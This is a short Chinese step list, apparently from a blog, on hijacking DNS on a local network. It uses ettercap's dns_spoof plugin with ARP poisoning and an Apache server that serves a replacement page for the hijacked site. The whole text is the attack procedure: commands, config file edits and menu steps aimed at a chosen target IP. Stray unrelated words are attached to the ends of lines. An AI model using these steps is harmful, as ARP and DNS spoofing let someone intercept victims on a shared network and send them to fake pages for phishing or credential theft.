1,確定局域網iphtml
2,修改/etc/ettercap/etter.dns 添加本身的ip和劫持域名apache
3,/var/www/index.html (修改html頁面替換被劫持的網站頁面)服務器
4,啓動apache2 /etc/init.d/apache2 start 啓動apache服務器網站
5,ettercap -G htm
選擇plugins >dns_spoofblog
Mitm >arp >sniff (arp欺騙,不要忘了添加你要攻擊的目標ip)dns